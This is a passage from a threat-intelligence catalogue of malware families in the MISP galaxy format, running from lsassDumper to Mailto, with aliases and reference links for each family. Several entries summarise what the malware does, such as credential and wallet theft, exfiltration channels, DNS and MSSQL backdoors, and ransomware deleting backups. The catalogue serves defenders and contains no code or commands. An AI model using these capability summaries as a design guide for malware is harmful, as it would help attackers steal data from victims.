https://securelist.com/unveiling-lazarus-new-campaign/110888/
https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf
https://vblocalhost.com/uploads/VB2021-Lee-etal.pdf
https://securelist.com/lazarus-threatneedle/100803/

https://vblocalhost.com/uploads/VB2021-Park.pdf
https://securelist.com/the-lazarus-group-deathnote-campaign/109490/

lsassDumper

This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service "transfer.sh".

The tag is: *misp-galaxy:malpedia="lsassDumper"*

lsassDumper is also known as:

Table 4363. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper
https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf

Lu0Bot

According to PCrisk, Lu0bot es un software malicioso. El malware es ligero, por lo que su uso de los recursos del sistema es bajo. Esto complica la detección de Lu0bot, ya que no causa síntomas significativos, como una grave disminución del rendimiento del sistema.

El programa malicioso funciona como un recolector de telemetría.

The tag is: *misp-galaxy:malpedia="Lu0Bot"*

Lu0Bot is also known as:

Table 4364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lu0bot
https://any.run/cybersecurity-blog/lu0bot-analysis/
https://embee-research.ghost.io/practical-signatures-for-identifying-malware-with-yara/
https://bazaar.abuse.ch/browse/tag/Lu0Bot/

LuaDream

The tag is: *misp-galaxy:malpedia="LuaDream"*

LuaDream is also known as:

- DreamLand

Table 4365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luadream
https://r136a1.dev/2023/09/22/more-on-dreamland/
https://www.sentinelone.com/labs/sandman-apt-china-based-adversaries-embrace-lua/
https://www.sentinelone.com/labs/sandman-apt-a-mystery-group-targeting-telcos-with-a-luajit-toolkit/

Luca Stealer

According to PCRisk, The Luca stealer can extract a variety of information from compromised machines. It targets data related to the following: operating system, device name, CPUs, desktop environment, network interface, user account name, preferred system language, running processes, etc.

This malicious program can steal information from over thirty Chromium-based browsers. From these applications, Luca can obtain Internet cookies, account log-in credentials (usernames/passwords), and credit card numbers. Additionally, the stealer can extract data from password manager and cryptowallet browser extensions compatible with over twenty browsers.

This malware also targets various messaging applications like Telegram, Discord, ICQ, Skype, Element, etc. It likewise aims to acquire information from gaming-related software such as Steam and Uplay (Ubisoft Connect). Furthermore, some versions of Luca can take screenshots and download the files stored on victims' devices.

The tag is: *misp-galaxy:malpedia="Luca Stealer"*

Luca Stealer is also known as:

Table 4366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer
https://blogs.blackberry.com/en/2022/08/luca-stealer-targets-password-managers-and-cryptocurrency-wallets

Lucifer

The tag is: *misp-galaxy:malpedia="Lucifer"*

Lucifer is also known as:

Table 4367. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.lucifer
https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/
https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/

Lumar

This family was previously tracked as PovertyStealer until it's actual name was identified via crime forums.

The tag is: *misp-galaxy:malpedia="Lumar"*

Lumar is also known as:

- PovertyStealer

Table 4368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lumar
https://bazaar.abuse.ch/browse/signature/PovertyStealer/

Luminosity RAT

The tag is: *misp-galaxy:malpedia="Luminosity RAT"*

Luminosity RAT is also known as:

- LuminosityLink

Table 4369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat
https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.secureworks.com/research/threat-profiles/copper-fieldstone
http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html
https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/
https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/
https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark
https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/

Lumma Stealer

Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.

The tag is: *misp-galaxy:malpedia="Lumma Stealer"*

Lumma Stealer is also known as:

- LummaC2 Stealer

Table 4370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
https://www.intrinsec.com/lumma_stealer_actively_deployed_in_multiple_campaigns/
https://www.kroll.com/en/insights/publications/cyber/lummastealer-delivered-via-powershell-social-engineering
https://www.youtube.com/watch?v=kHU_sPtubCk
https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware/
https://www.esentire.com/blog/the-case-of-lummac2-v4-0
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/
https://www.cybereason.com/blog/threat-analysis-rise-of-lummastealer
https://synthient.com/blog/ghostsocks-from-initial-access-to-residential-proxy
https://www.trellix.com/en-ca/blogs/research/lumma-stealer-analysis/
https://spycloud.com/blog/asgard-protector-crypter-analysis/
https://www.europol.europa.eu/media-press/newsroom/news/europol-and-microsoft-disrupt-world%E2%80%99s-largest-infostealer-lumma
https://infrawatch.app/blog/ghostsocks-lummas-partner-in-proxy
https://insights.loaderinsight.agency/posts/vidar-build-id-correlation/
https://mandarnaik016.in/blog/2024-10-05-malware-analysis-lumma-stealer/
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware

https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx

https://www.trendmicro.com/en_us/research/25/c/ai-assisted-fake-github-repositories.html

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clickfix-deception-a-social-engineering-tactic-to-deploy-malware/

https://blog.reveng.ai/one-clickfix-and-lummastealer-recaptchas-our-attention-part-1/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pronsis-loader-a-jphp-driven-malware-diverging-from-d3fck-loader/

https://www.group-ib.com/blog/clickfix-the-social-engineering-technique-hackers-use-to-manipulate-victims/

https://www.malware-traffic-analysis.net/2024/03/07/index.html

https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion

https://www.intrinsec.com/wp-content/uploads/2024/12/TLP-CLEAR-CryptBot-Hunting-for-intial-access-vectors.pdf

https://www.varist.com/blogs-news/malvertisements-fake-captchas

https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/

https://news.sophos.com/en-us/2025/05/09/lumma-stealer-coming-and-going/

https://denwp.com/anatomy-of-a-lumma-stealer/

https://censys.com/a-beginners-guide-to-hunting-open-directories/

https://x.com/CERTCyberdef/status/1900460479778030013

https://medium.com/s2wblog/lumma-stealer-targets-youtubers-via-spear-phishing-email-ade740d486f7

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/

https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Unveiling-LUMMAC-V2-with-Google-Security/ba-p/899110

https://www.rapid7.com/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/

https://labs.guard.io/deceptionads-fake-captcha-driving-infostealer-infections-and-a-glimpse-to-the-dark-side-of-0c516f4dc0b6

https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks

https://www.fortinet.com/blog/threat-research/exploiting-cve-2024-21412-stealer-campaign-unleashed

https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/

https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer

https://gridinsoft.com/spyware/lumma-stealer

https://www.trendmicro.com/en_us/research/25/j/the-impact-of-water-kurita-lumma-stealer-doxxing.html

https://spycloud.com/blog/lummac2-malware-stealthier-capabilities/

https://twitter.com/sekoia_io/status/1572889505497223169

https://resource.redcanary.com/rs/003-YRU-314/images/2025ThreatDetectionReport_RedCanary.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://securelist.com/angry-likho-apt-attacks-with-lumma-stealer/115663/

https://medium.com/@s.lontzetidis/lumma-2024-dominating-the-info-stealer-market-070e7d8fa3d6

https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/

https://viuleeenz.github.io/posts/2024/02/understanding-peb-and-ldr-structures-using-ida-and-lummastealer/

https://ryan-weil.github.io/posts/LUMMA-STEALER/

https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection

https://twitter.com/fumik0_/status/1559474920152875008

https://research.checkpoint.com/2024/stargazers-ghost-network/

https://www.orangecyberdefense.com/de/blog/threat/cybersoc-insights-analyse-einer-black-basta-angriffskampagne

https://denwp.com/dissecting-lumma-malware/

https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube

https://medium.com/@raghavtiresearch/lumma-stealer-a-proliferating-threat-in-the-cybercrime-landscape-b5cdc3de44a4

https://www.esentire.com/blog/fake-browser-updates-delivering-bitrat-and-lumma-stealer

https://www.proofpoint.com/us/blog/threat-insight/update-fake-updates-two-new-actors-and-new-mac-malware

https://blogs.microsoft.com/on-the-issues/2025/05/21/microsoft-leads-global-action-against-favored-cybercrime-tool/

https://intelinsights.substack.com/p/bulletproof-hosting-hunt

https://www.youtube.com/watch?v=lmMA4WYJEOY

https://cert-agid.gov.it/news/analisi-di-una-campagna-lumma-stealer-con-falso-captcha-condotta-attraverso-domino-italiano-compromesso/

https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11

https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf

https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer

https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/

https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/
https://www.elastic.co/security-labs/a-wretch-client
https://viuleeenz.github.io/posts/2024/03/understanding-api-hashing-and-build-a-rainbow-table-for-lummastealer/
https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn
https://outpost24.com/blog/lummac2-anti-sandbox-technique-trigonometry-human-detection/
https://www.0x1c.zip/0001-lummastealer/
https://blog.sekoia.io/interlock-ransomware-evolving-under-the-radar/
https://v4ensics.gr/lumma-stealer-a-tale-that-starts-with-a-fake-captcha/
https://www.trendmicro.com/en_us/research/25/g/lumma-stealer-returns.html
https://www.trellix.com/blogs/research/how-attackers-repackaged-a-threat-into-something-that-looked-benign/
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://twitter.com/Ishusoka/status/1614028229307928582
https://certego.github.io/website/blog/lummastealer/

LunarMail

According to ESET Research, this is a Outlook Add-In that can use email messages for its C&C communication.

The tag is: *misp-galaxy:malpedia="LunarMail"*

LunarMail is also known as:

Table 4371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lunarmail
https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/

LunchMoney

```
An uploader that can exfiltrate files to Dropbox.
```

The tag is: *misp-galaxy:malpedia="LunchMoney"*

LunchMoney is also known as:

Table 4372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html
https://twitter.com/MrDanPerez/status/1097881406661902337

Lurk

The tag is: *misp-galaxy:malpedia="Lurk"*

Lurk is also known as:

Table 4373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lurk
https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader

Luxy

The tag is: *misp-galaxy:malpedia="Luxy"*

Luxy is also known as:

Table 4374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luxy
https://labs.k7computing.com/index.php/luxy-a-stealer-and-a-ransomware-in-one/

Luzo

The tag is: *misp-galaxy:malpedia="Luzo"*

Luzo is also known as:

Table 4375. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.luzo

Lyceum .NET DNS Backdoor

This .NET written malware is used as backdoor using the dns protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are

also variants using HTTP (.Net) and also one written in Golang.

The tag is: *misp-galaxy:malpedia="Lyceum .NET DNS Backdoor"*

Lyceum .NET DNS Backdoor is also known as:

Table 4376. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_dns_backdoor_dotnet
https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor
https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

Lyceum .NET TCP Backdoor

This .Net written malware is used as backdoor using the http protocol by a state sponsored threat actor. It implements additional capabilities (e.g. execution of commands, taking screenshots, listing diles/directories/installed applications, and uploading/downloading/execution of files). There are also variants using DNS (.Net) and also one written in Golang.

The tag is: *misp-galaxy:malpedia="Lyceum .NET TCP Backdoor"*

Lyceum .NET TCP Backdoor is also known as:

Table 4377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_http_backdoor_dotnet
https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

Lyceum Golang HTTP Backdoor

This Golang written malware is used as backdoor using the http protocol by a state sponsored threat actor (TA). This backdoor is running in a loop of three stages: - Check the connectivity - Registration of the victim - Retrieval and execution of commands This TA is using also variants .NET backdoors utilizing HTTP and DNS.

The tag is: *misp-galaxy:malpedia="Lyceum Golang HTTP Backdoor"*

Lyceum Golang HTTP Backdoor is also known as:

Table 4378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyceum_http_backdoor_golang

https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

Lynx

According to Nextron, Lynx ransomware is a sophisticated malware threat that has been active since mid-2024. Lynx has claimed over 20 victims across a range of industries. Once it infiltrates a system, it encrypts critical files, appending a '.lynx' extension, and deletes backup files like shadow copies to hinder recovery. Uniquely, it also sends the ransom note to available printers, adding an unexpected element to its attack strategy. This malware shares similarities with previous INC ransomware, indicating that they bought INC ransomware source code.

The tag is: *misp-galaxy:malpedia="Lynx"*

Lynx is also known as:

Table 4379. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lynx
https://www.group-ib.com/blog/cat-s-out-of-the-bag-lynx-ransomware/
https://unit42.paloaltonetworks.com/inc-ransomware-rebrand-to-lynx/
https://www.nextron-systems.com/2024/10/11/in-depth-analysis-of-lynx-ransomware/
https://ish.com.br/en/blog/ransomware-lynx-saiba-como-mitigar-essa-ameaca/

Lyposit

The tag is: *misp-galaxy:malpedia="Lyposit"*

Lyposit is also known as:

- Adneukine
- Bomba Locker
- Lucky Locker

Table 4380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html
http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html
https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/
http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html

M00nD3V Logger

According Zscaler, M00nD3V Logger has the ability to steal confidential information, such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials; capture Windows keystrokes; and gain access to the webcam and hook the clipboard. In all, it has the ability to steal passwords from 42 applications.

The tag is: *misp-galaxy:malpedia="M00nD3V Logger"*

M00nD3V Logger is also known as:

Table 4381. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.m00nd3v
https://www.zscaler.com/blogs/research/deep-dive-m00nd3v-logger

m0yv

Modular x86/x64 file infector created/used by Maze ransomware developer. According to the author, it has been mistakenly tagged by AVs as Expiro.

The tag is: *misp-galaxy:malpedia="m0yv"*

m0yv is also known as:

Table 4382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv
https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/
https://github.com/baderj/domain_generation_algorithms/blob/master/m0yv/dga.py
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://youtu.be/3RYbkORtFnk
https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py

MACAMAX

The tag is: *misp-galaxy:malpedia="MACAMAX"*

MACAMAX is also known as:

Table 4383. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.macamax
https://www.trendmicro.com/en_us/research/23/b/earth-zhulong-familiar-patterns-target-southeast-asian-firms.html

Macaw

The tag is: *misp-galaxy:malpedia="Macaw"*

Macaw is also known as:

Table 4384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/

Machete

According to ESET, Machete's dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64-encoded text that corresponds to AES-encrypted strings. GoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence. Regarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it's given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL. The GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.

The tag is: *misp-galaxy:malpedia="Machete"*

Machete is also known as:

- El Machete

Table 4385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.machete
https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america

https://brandefense.io/blog/apt-groups/el-machete-apt-group/
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html
https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/
https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html
https://securelist.com/el-machete/66108/
https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6
https://static1.squarespace.com/static/5a01100f692ebe0459a1859f/t/5da340ded5ccf627e1764059/1570980068506/Day3-1130-Green-A+study+of+Machete+cyber+espionage+operations+in+Latin+America.pdf

MadMax

The tag is: *misp-galaxy:malpedia="MadMax"*

MadMax is also known as:

Table 4386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax

Magala

The tag is: *misp-galaxy:malpedia="Magala"*

Magala is also known as:

Table 4387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magala
https://securelist.com/the-magala-trojan-clicker-a-hidden-advertising-threat/78920/

Maggie

According to DCSO, this malware is written as a Extended Stored Procedure for a MSSQL server. The backdoor has capabilities to bruteforce logins to other MSSQL servers, adding a special hardcoded backdoor user in the case of successfully bruteforcing admin logins.

The tag is: *misp-galaxy:malpedia="Maggie"*

Maggie is also known as:

Table 4388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie
https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01
https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/
https://medium.com/@DCSO_CyTec/tracking-down-maggie-4d889872513d

MagicRAT

According to Talos, MagicRAT is programmed in C++ programming language and uses the Qt Framework by statically linking it to the RAT on 32- and 64-bit versions. The Qt Framework is a programming library for developing graphical user interfaces, of which this RAT has none. Talos thinks that the objective was to increase the complexity of the code, thus making human analysis harder. On the other hand, since there are very few examples (if any) of malware programmed with Qt Framework, this also makes machine learning and heuristic analysis detection less reliable. The RAT uses the Qt classes throughout its entire code. The configuration is dynamically stored in a QSettings class eventually being saved to disk, a typical functionality provided by that class.

MagicRAT provides the operator with a remote shell on the victim's system for arbitrary command execution, along with the ability to rename, move and delete files on the endpoint. The operator can determine the timing for the implant to sleep, change the C2 URLs and delete the implant from the infected system.

The tag is: *misp-galaxy:malpedia="MagicRAT"*

MagicRAT is also known as:

Table 4389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat
https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF
https://www.youtube.com/watch?v=nUjxH1gW53s
https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/
https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html
https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html

Magniber

According to TXOne, The Magniber ransomware was first identified in late 2017 when it was discovered using the Magnitude Exploit Kit to conduct malvertising attacks against users in South Korea. However, it has remained active since then, continually updating its tactics by employing

new obfuscation techniques and methods of evasion. In April 2022, Magniber gained notoriety for disguising itself as a Windows update file to lure victims into installing it. It then began spreading via JavaScript in September 2022.

The tag is: *misp-galaxy:malpedia="Magniber"*

Magniber is also known as:

Table 4390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber
http://asec.ahnlab.com/1124
https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/
https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser/
https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/
https://www.youtube.com/watch?v=lqWJaaofNf4
https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/
https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/
https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/
https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/
https://asec.ahnlab.com/en/41889/
https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/
https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/
https://www.cybereason.com/blog/threat-analysis-report-printnightmare-and-magniber-ransomware
https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/
https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/
https://threatresearch.ext.hp.com/magniber-ransomware-switches-to-javascript-targeting-home-users-with-fake-software-updates/
https://www.malwarebytes.com/blog/news/2018/07/magniber-ransomware-improves-expands-within-asia
https://asec.ahnlab.com/en/30645/
https://asec.ahnlab.com/en/19273/
https://www.mandiant.com/resources/blog/magniber-ransomware-infects-only-the-right-people

https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer
https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372

Mailto

The tag is: *misp-galaxy:malpedia="Mailto"*

Mailto is also known as:

- Koko Ransomware
- NetWalker

Table 4391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware
https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/
https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware
https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf
https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf
https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://sites.temple.edu/care/ci-rw-attacks/

https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://www.justice.gov/usao-mdfl/press-release/file/1360846/download

https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html

https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/

https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/

https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/

https://lopqto.me/posts/automated-dynamic-import-resolving

https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf

https://zero2auto.com/2020/05/19/netwalker-re/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game

https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html

https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/

https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers

https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas

https://zengo.com/bitcoin-ransomware-detective-ucsf/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf
https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/
https://www.youtube.com/watch?v=q8of74upT_g
https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/
https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.ic3.gov/media/news/2020/200929-2.pdf
https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/
https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million
https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware
https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/

Mail-O

